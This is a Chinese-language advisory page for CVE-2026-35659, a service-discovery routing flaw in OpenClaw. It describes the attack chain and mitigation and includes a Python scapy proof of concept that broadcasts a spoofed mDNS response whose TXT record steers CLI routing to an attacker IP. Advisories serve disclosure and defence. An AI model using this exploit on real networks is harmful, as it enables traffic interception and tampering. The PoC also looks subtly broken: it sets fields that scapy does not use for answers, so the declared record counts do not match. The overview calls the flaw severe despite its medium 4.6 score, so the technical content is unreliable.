IPBUF安全漏洞报告
English
CVE-2026-35659 CVSS 4.6 中危

CVE-2026-35659 OpenClaw服务发现路由漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35659
漏洞类型
服务发现漏洞
CVSS评分
4.6 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

服务发现漏洞OpenClaw路由欺骗mDNSCVE-2026-35659

漏洞概述

OpenClaw在2026.3.22之前的版本中存在一项严重的服务发现安全漏洞,该问题与Bonjour和DNS-SD协议的TXT元数据处理机制有关。漏洞的核心在于,即使目标服务的实际解析过程失败,系统仍可能错误地利用这些元数据来影响命令行界面(CLI)的路由决策。攻击者可以利用这一缺陷,通过发送包含恶意构造的发现数据包,利用未解析的提示信息诱导系统将流量路由至攻击者控制的非预期目标。这一过程可能导致敏感信息泄露或数据完整性受损,且攻击发生在邻接网络范围内,无需预先认证但需要一定的用户交互。

技术细节

该漏洞主要影响OpenClaw对基于Bonjour(mDNS)和DNS-SD(基于服务的DNS)的服务发现实现。在正常情况下,应用程序在解析服务时,应先获取服务实例的元数据(如TXT记录),然后解析主机名以建立连接。然而,在受影响的OpenClaw版本中,存在逻辑缺陷:系统在处理服务发现响应时,未充分验证主机名的可达性即对TXT元数据中的路由提示给予过高信任。

具体而言,当攻击者位于同一局域网(邻接网络)内时,可以伪造mDNS广播响应或DNS-SD查询响应。攻击者在响应中包含恶意的TXT记录,其中包含误导性的路由参数或目标地址。由于OpenClaw的CLI路由逻辑在遇到实际DNS解析失败(例如指向不存在的A记录)时,未能正确回滚或丢弃之前获取的元数据提示,而是继续沿用这些“未解析的提示”进行路由决策。

利用此漏洞,攻击者无需拥有系统账户(PR:N),但可能需要诱导用户触发相关服务发现操作(UI:R)。一旦成功,攻击者可以将原本发往合法服务的流量重定向到恶意端点,从而窃听通信数据(C:L)或篡改传输内容(I:L)。修复建议主要集中在严格校验服务解析结果与元数据的一致性,仅在完全解析成功后才应用路由配置。

攻击链分析

STEP 1
1. 网络侦测
攻击者接入目标所在的邻接网络(如同一Wi-Fi或局域网),并侦测是否存在使用OpenClaw服务的设备。
STEP 2
2. 构造恶意元数据
攻击者准备包含恶意TXT记录的mDNS/DNS-SD响应包。TXT记录中包含误导性的路由参数,指向攻击者的服务器,同时关联的SRV记录指向一个无法解析的主机名。
STEP 3
3. 注入恶意响应
当目标设备发起服务发现请求时,攻击者通过伪造的mDNS响应抢先注入恶意元数据。
STEP 4
4. 触发路由逻辑
目标用户在OpenClaw CLI中执行相关操作。由于服务解析失败(主机名不可达),OpenClaw错误地使用了TXT记录中的恶意提示。
STEP 5
5. 达成攻击效果
OpenClaw将流量路由至攻击者指定的目标,导致数据泄露(机密性影响)或请求被篡改(完整性影响)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import scapy.all as scapy from scapy.all import * # Configuration for the malicious PoC MALICIOUS_TARGET_IP = "192.168.1.100" # Attacker controlled IP SERVICE_INSTANCE = "_openclaw._tcp.local" HOSTNAME = "malicious-host.local" # Construct a fake mDNS response (DNS-SD) def build_malicious_mdns_packet(): # Ethernet layer eth = Ether(dst="01:00:5e:00:00:fb") # Multicast MAC for mDNS # IP layer ip = IP(dst="224.0.0.251") # Multicast IP for mDNS # UDP layer (port 5353) udp = UDP(dport=5353, sport=5353) # DNS layer # Transaction ID: 0x0000 (standard for mDNS) # Flags: Response (0x8000), Authoritative (0x0400) dns = DNS(id=0x0000, qr=1, aa=1, rd=0, ra=0, z=0, ad=0, cd=0, qdcount=0, ancount=2, nscount=0, arcount=1) # Answer 1: PTR Record pointing to our service instance ptr_answer = DNSRR(rrname=SERVICE_INSTANCE, type="PTR", ttl=4500, rdata=f"OpenClaw Instance.{SERVICE_INSTANCE}") # Answer 2: TXT Record containing the malicious routing hint # This TXT record includes metadata that OpenClaw uses for CLI routing # even if the A record resolution fails later. txt_data = b"path=/admin\x00redirect=" + MALICIOUS_TARGET_IP.encode() txt_answer = DNSRR(rrname=f"OpenClaw Instance.{SERVICE_INSTANCE}", type="TXT", ttl=4500, rdata=txt_data) # Additional Section: SRV Record (pointing to a hostname likely to fail resolution) # We use a non-resolvable hostname to simulate the "unresolved hint" scenario srv_record = DNSRR(rrname=f"OpenClaw Instance.{SERVICE_INSTANCE}", type="SRV", ttl=4500, rdata=f"0 0 8080 {HOSTNAME}") dns.answers = [ptr_answer, txt_answer] dns.ar = srv_record packet = eth / ip / udp / dns return packet # Send the malicious packet if __name__ == "__main__": print(f"[*] Sending malicious mDNS packet for {SERVICE_INSTANCE}...") packet = build_malicious_mdns_packet() sendp(packet, iface="eth0", verbose=1) print("[+] Packet sent. If OpenClaw processes this, it may route based on the TXT hint.")

影响范围

OpenClaw < 2026.3.22

防御指南

临时缓解措施
在应用官方补丁前,建议管理员在防火墙或交换机层面阻断端口5353(mDNS)的流量,防止接收来自不可信源的广播数据。同时,严格限制网络接入,确保只有可信设备位于同一邻接网络段内。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表